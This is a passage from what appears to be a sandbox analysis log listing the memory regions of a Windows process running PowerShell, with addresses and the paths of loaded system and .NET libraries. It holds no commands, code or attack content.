0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 3112 start_va = 0x1ee0000 end_va = 0x1f1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ee0000" filename = "" Region: id = 3113 start_va = 0x4390000 end_va = 0x43cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004390000" filename = "" Region: id = 3114 start_va = 0x4460000 end_va = 0x449ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004460000" filename = "" Region: id = 3115 start_va = 0x44d0000 end_va = 0x450ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000044d0000" filename = "" Region: id = 3116 start_va = 0x4510000 end_va = 0x454ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004510000" filename = "" Region: id = 3117 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3118 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 3119 start_va = 0x723a0000 end_va = 0x723b2fff monitored = 1 entry_point = 0x723ad900 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll") Region: id = 3120 start_va = 0x4550000 end_va = 0x4821fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 3121 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 3122 start_va = 0x6ad20000 end_va = 0x6b42bfff monitored = 1 entry_point = 0x6b33f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 3123 start_va = 0x4830000 end_va = 0x4b01fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\sortdefault.nlp") Region: id = 3124 start_va = 0x4b10000 end_va = 0x4bcffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\kernelbase.dll.mui") Region: id = 3125 start_va = 0x6b430000 end_va = 0x6bb3bfff monitored = 1 entry_point = 0x6ba4f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 3126 start_va = 0x6ad20000 end_va = 0x6b42bfff monitored = 1 entry_point = 0x6b33f392 region_type = mapped_file name = "system.management.automation.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Management.Automation\\v4.0_3.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.management.automation\\v4.0_3.0.0.0__31bf3856ad364e35\\system.management.automation.dll") Region: id = 3127 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 3128 start_va = 0x75ff0000 end_va = 0x76c39fff monitored = 0 entry_point = 0x76071601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3129 start_va = 0x370000 end_va = 0x370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 3130 start_va = 0x74f10000 end_va = 0x74f3efff monitored = 0 entry_point = 0x74f12a35 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll") Region: id = 3131 start_va = 0x74fc0000 end_va = 0x750e0fff monitored = 0 entry_point = 0x74fc158e region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll") Region: id = 3132 start_va = 0x75810000 end_va = 0x7581bfff monitored = 0 entry_point = 0x7581238e region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll") Region: id = 3133 start_va = 0x380000 end_va = 0x387fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3134 start_va = 0x630000 end_va = 0x66ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 3135 start_va = 0x4cf0000 end_va = 0x4d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004cf0000" filename = "" Region: id = 3136 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 3137 start_va = 0x72350000 end_va = 0x72357fff monitored = 0 entry_point = 0x72353bf5 region_type = mapped_file name = "msisip.dll" filename = "\\Windows\\SysWOW64\\msisip.dll" (normalized: "c:\\windows\\syswow64\\msisip.dll") Region: id = 3138 start_va = 0x4d30000 end_va = 0x512ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d30000" filename = "" Region: id = 3139 start_va = 0x390000 end_va = 0x397fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.utility.psm1" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1") Region: id = 3140 start_va = 0x4d30000 end_va = 0x512ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004d30000" filename = "" Region: id = 3141 start_va = 0x1e60000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001e60000" filename = "" Region: id = 3142 start_va = 0x4d50000 end_va = 0x4d8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004d50000" filename = "" Region: id = 3143 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 3144 start_va = 0x71bf0000 end_va = 0x71c05fff monitored = 0 entry_point = 0x71bf13df region_type = mapped_file name = "wshext.dll" filename = "\\Windows\\SysWOW64\\wshext.dll" (normalized: "c:\\windows\\syswow64\\wshext.dll") Region: id = 3145 start_va = 0x71e30000 end_va = 0x71eb3fff monitored = 0 entry_point = 0x71e319a9 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 3146 start_va = 0x390000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3147 start_va = 0x71be0000 end_va = 0x71be9fff monitored = 0 entry_point = 0x71be4ab0 region_type = mapped_file name = "pwrshsip.dll" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\pwrshsip.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\pwrshsip.dll") Region: id = 3148 start_va = 0x4bd0000 end_va = 0x4ccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004bd0000" filename = "" Region: id = 3149 start_va = 0x4010000 end_va = 0x404ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004010000" filename = "" Region: id = 3150 start_va = 0x4ea0000 end_va = 0x4edffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ea0000" filename = "" Region: id = 3151 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 3152 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 3153 start_va = 0x390000 end_va = 0x390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3154 start_va = 0x3a0000 end_va = 0x3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3155 start_va = 0x3c0000 end_va = 0x3c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3156 start_va = 0x390000 end_va = 0x390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3157 start_va = 0x3c0000 end_va = 0x3c6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3158 start_va = 0x390000 end_va = 0x390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3159 start_va = 0x390000 end_va = 0x396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3160 start_va = 0x390000 end_va = 0x390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3161 start_va = 0x390000 end_va = 0x396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3162 start_va = 0x390000 end_va = 0x390fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll" filename = "\\Windows\\SysWOW64\\tzres.dll" (normalized: "c:\\windows\\syswow64\\tzres.dll") Region: id = 3163 start_va = 0x390000 end_va = 0x396fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "tzres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\tzres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\tzres.dll.mui") Region: id = 3164 start_va = 0x1f20000 end_va = 0x1f5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f20000" filename = "" Region: id = 3165 start_va = 0x4e00000 end_va = 0x4e3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e00000" filename = "" Region: id = 3166 start_va = 0x4ef0000 end_va = 0x4f2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004ef0000" filename = "" Region: id = 3167 start_va = 0x4f80000 end_va = 0x4fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004f80000" filename = "" Region: id = 3168 start_va = 0x7ef98000 end_va = 0x7ef9afff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef98000" filename = "" Region: id = 3169 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 3170 start_va = 0x6ab00000 end_va = 0x6b319fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.data.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Data\\df2dd09ed7c341842a104e1e668f184e\\System.Data.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.data\\df2dd09ed7c341842a104e1e668f184e\\system.data.ni.dll") Region: id = 3171 start_va = 0x6b7e0000 end_va = 0x6bb33fff monitored = 1 entry_point = 0x6bb17a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 3172 start_va = 0x74da0000 end_va = 0x74dd4fff monitored = 0 entry_point = 0x74da145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 3173 start_va = 0x75c30000 end_va = 0x75c35fff monitored = 0 entry_point = 0x75c31782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 3174 start_va = 0x4fc0000 end_va = 0x5310fff monitored = 1 entry_point = 0x52f7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 3175 start_va = 0x4fc0000 end_va = 0x5310fff monitored = 1 entry_point = 0x52f7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 3176 start_va = 0x4fc0000 end_va = 0x5310fff monitored = 1 entry_point = 0x52f7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 3177 start_va = 0x4fc0000 end_va = 0x5310fff monitored = 1 entry_point = 0x52f7a72 region_type = mapped_file name = "system.data.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Data\\v4.0_4.0.0.0__b77a5c561934e089\\System.Data.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.data\\v4.0_4.0.0.0__b77a5c561934e089\\system.data.dll") Region: id = 3178 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 3179 start_va = 0x6d630000 end_va = 0x6dda3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\15af16d373cf0528cb74fc73d365fdbf\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\15af16d373cf0528cb74fc73d365fdbf\\system.xml.ni.dll") Region: id = 3180 start_va = 0x6b6b0000 end_va = 0x6b7dffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\e114780fd3ea5727401c06ea4f22ef35\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\e114780fd3ea5727401c06ea4f22ef35\\system.management.ni.dll") Region: id = 3181 start_va = 0x71ab0000 end_va = 0x71bdbfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.dired13b18a9#\\2e76676fbd265f70be92c82bbf76b8e5\\system.directoryservices.ni.dll") Region: id = 3182 start_va = 0x74960000 end_va = 0x74962fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\SysWOW64\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\syswow64\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 3183 start_va = 0x72180000 end_va = 0x72208fff monitored = 1 entry_point = 0x72181130 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll") Region: id = 3184 start_va = 0x3c0000 end_va = 0x3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 3185 start_va = 0x450000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000450000" filename = "" Region: id = 3186 start_va = 0x6b650000 end_va = 0x6b6a3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.security.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.P6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\Microsoft.PowerShell.Security.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.p6f792626#\\fbf36f7901fec6a367af3bc05a96b929\\microsoft.powershell.security.ni.dll") Region: id = 3187 start_va = 0x4fd0000 end_va = 0x500ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004fd0000" filename = "" Region: id = 3188 start_va = 0x5020000 end_va = 0x505ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005020000" filename = "" Region: id = 3189 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3190 start_va = 0x6b590000 end_va = 0x6b647fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.transactions.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Transactions\\3d760b4a3260a41ef84a3fd866780980\\System.Transactions.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.transactions\\3d760b4a3260a41ef84a3fd866780980\\system.transactions.ni.dll") Region: id = 3191 start_va = 0x6b540000 end_va = 0x6b58bfff monitored = 1 entry_point = 0x6b55fcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 3192 start_va = 0x43d0000 end_va = 0x441bfff monitored = 1 entry_point = 0x43efcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 3193 start_va = 0x43d0000 end_va = 0x441bfff monitored = 1 entry_point = 0x43efcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 3194 start_va = 0x43d0000 end_va = 0x441bfff monitored = 1 entry_point = 0x43efcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 3195 start_va = 0x43d0000 end_va = 0x441bfff monitored = 1 entry_point = 0x43efcc6 region_type = mapped_file name = "system.transactions.dll" filename = "\\Windows\\Microsoft.NET\\assembly\\GAC_32\\System.Transactions\\v4.0_4.0.0.0__b77a5c561934e089\\System.Transactions.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_32\\system.transactions\\v4.0_4.0.0.0__b77a5c561934e089\\system.transactions.dll") Region: id = 3196 start_va = 0x71aa0000 end_va = 0x71aa7fff monitored = 0 entry_point = 0x71aa10e9 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\SysWOW64\\secur32.dll" (normalized: "c:\\windows\\syswow64\\secur32.dll") Region: id = 3197 start_va = 0x6b4c0000 end_va = 0x6b53ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\e3134541fd9904dc895922f5256ef8f3\\microsoft.management.infrastructure.ni.dll") Region: id = 3198 start_va = 0x6b470000 end_va = 0x6b4b6fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\e7d6ed984300c7212c6e682c4f730b1e\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.numerics\\e7d6ed984300c7212c6e682c4f730b1e\\system.numerics.ni.dll") Region: id = 3199 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 3200 start_va = 0x71ec0000 end_va = 0x71fc4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Configuration\\96f7edb07b12303f0ec2595c7f3778c7\\System.Configuration.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.configuration\\96f7edb07b12303f0ec2595c7f3778c7\\system.configuration.ni.dll") Region: id = 3201 start_va = 0x470000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000470000" filename = "" Region: id = 3202 start_va = 0x43d0000 end_va = 0x444ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043d0000" filename = "" Region: id = 3203 start_va = 0x4db0000 end_va = 0x4deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004db0000" filename = "" Region: id = 3204 start_va = 0x50d0000 end_va = 0x510ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000050d0000" filename = "" Region: id = 3205 start_va = 0x7ef95000 end_va = 0x7ef97fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef95000" filename = "" Region: id = 3206 start_va = 0x4c0000 end_va = 0x4cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004c0000" filename = "" Region: id = 3207 start_va = 0x510000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 3208 start_va = 0x520000 end_va = 0x52ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000520000" filename = "" Region: id = 3209 start_va = 0x670000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000670000" filename = "" Region: id = 3210 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 3211 start_va = 0x710000 end_va = 0x71ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000710000" filename = "" Region: id = 3212 start_va = 0x720000 end_va = 0x72ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000720000" filename = "" Region: id = 3213 start_va = 0x1fa0000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 3214 start_va = 0x1fb0000 end_va = 0x1fbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fb0000" filename = "" Region: id = 3215 start_va = 0x4000000 end_va = 0x400ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004000000" filename = "" Region: id = 3216 start_va = 0x4360000 end_va = 0x436ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004360000" filename = "" Region: id = 3217 start_va = 0x6a580000 end_va = 0x6a717fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.csharp.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.CSharp\\f73f48afb5512225dedaee9c88ac5050\\Microsoft.CSharp.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.csharp\\f73f48afb5512225dedaee9c88ac5050\\microsoft.csharp.ni.dll") Region: id = 3218 start_va = 0x4370000 end_va = 0x437ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004370000" filename = "" Region: id = 3219 start_va = 0x4380000 end_va = 0x438ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004380000" filename = "" Region: id = 3220 start_va = 0x4450000 end_va = 0x445ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 3221 start_va = 0x4450000 end_va = 0x445ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004450000" filename = "" Region: id = 3222 start_va = 0x4460000 end_va = 0x446ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004460000" filename = "" Region: id = 3223 start_va = 0x4e50000 end_va = 0x4e8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004e50000" filename = "" Region: id = 3224 start_va = 0x5250000 end_va = 0x5bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005250000" filename = "" Region: id = 3225 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 3226 start_va = 0x73aa0000 end_va = 0x73b1ffff monitored = 0 entry_point = 0x73ab37c9 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3227 start_va = 0x5be0000 end_va = 0x5d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005be0000" filename = "" Region: id = 3228 start_va = 0x4fc0000 end_va = 0x509efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004fc0000" filename = "" Region: id = 3229 start_va = 0x4460000 end_va = 0x449ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004460000" filename = "" Region: id = 3230 start_va = 0x5c60000 end_va = 0x5c9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005c60000" filename = "" Region: id = 3231 start_va = 0x5d40000 end_va = 0x5d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005d40000" filename = "" Region: id = 3232 start_va = 0x73a90000 end_va = 0x73a9dfff monitored = 0 